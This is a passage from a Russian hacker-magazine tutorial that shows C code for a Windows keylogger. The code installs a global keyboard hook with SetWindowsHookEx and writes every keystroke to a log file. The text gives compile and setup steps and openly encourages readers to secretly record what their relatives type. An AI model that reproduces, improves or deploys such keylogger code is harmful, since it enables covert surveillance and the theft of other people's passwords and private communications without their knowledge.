Высший пилотаж - пишем клавиатурный shiffer
Спецвыпуск Хакер, номер #004, стр. 004-074-5
fprintf(pFile, "%s - key: %s\n", p, szKeyName);
fclose(pFile);
}
return CallNextHookEx(hhookKbd, nCode, wParam, lParam);
}
void Init(LPCTSTR szFile)
{
hhookKbd = SetWindowsHookEx(WH_KEYBOARD, HookProc, (HINSTANCE) g_hMod, 0);
LPTSTR lpszPath = new TCHAR[256];
GetModuleFileName((HINSTANCE) g_hMod, lpszPath, 256);
strcpy(strrchr(lpszPath, '\\') + 1, "logpath.txt");
FILE* pf = fopen(lpszPath, "w");
fprintf(pf, "%s\n", szFile);
fclose(pf);
delete[] lpszPath;
}
Сам код, который ведет log нажатых клавиш находится в подпрограмме LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam). Его можно изменить по твоему желанию, например - чтоб он печатал, из какой проги нажата клавиша. Узнав больше о виндах и кодинге, можно очень серьезно наворотить этот код. Сохрани все и скомпиль DLL'ку (F7). Готовый файл hook.dll надо переписать в один каталог с EXE'шником, и теперь прогой можно пользоваться.
Часть шестая, или если ничего не получается
Хотя эта программа и несложная, она все же не для новичка. Возможно, что прога сразу не скомпилится или не заработает, а может просто повесит машину. Подожди, не беги за бутылкой. Посмотри, правильно ли ты все сделал и переписал. Помни, что заглавные и прописные буквы тоже различаются. Если ничего не помогает совсем, то можно залить себе образец проги на сайте Х. Он называется SnifKbd.
Окончание, или если все получилось :)
Теперь в твоей коллекции очень полезный софт под мастдай, причем собственного приготовления. Если много вещей тебе остались непонятными, но заинтересовали тебя, то пора изучать и C++, и кодинг под Windows. Есть масса книжек по этому поводу и куча инфы в Инете. Очень пригодился бы тебе диск с Microsoft Developer Network (MSDN), где есть абсолютно вся справка по любой теме, что взбредет в голову. Без него не было бы и этой статьи. Может уже через полгода ты начнешь делать такие финты на компе, какие самому Б.Г. не снились. А пока - пока, удачно тебе узнать, что делают твои родственники за машиной.
Советуем внимательно относиться к своим родственникам, работающим за твоим компом. Не стоит ли тебе обзавестись клавиатурным шпионом, который бы беспристрастно записывал бы все действия юзера на винт? Сейчас у тебя есть возможность самому написать такую прогу. Если у тебя уже стоит Visual C++, то можно начинать прямо сейчас, если нет, то пришло самое время его поставить.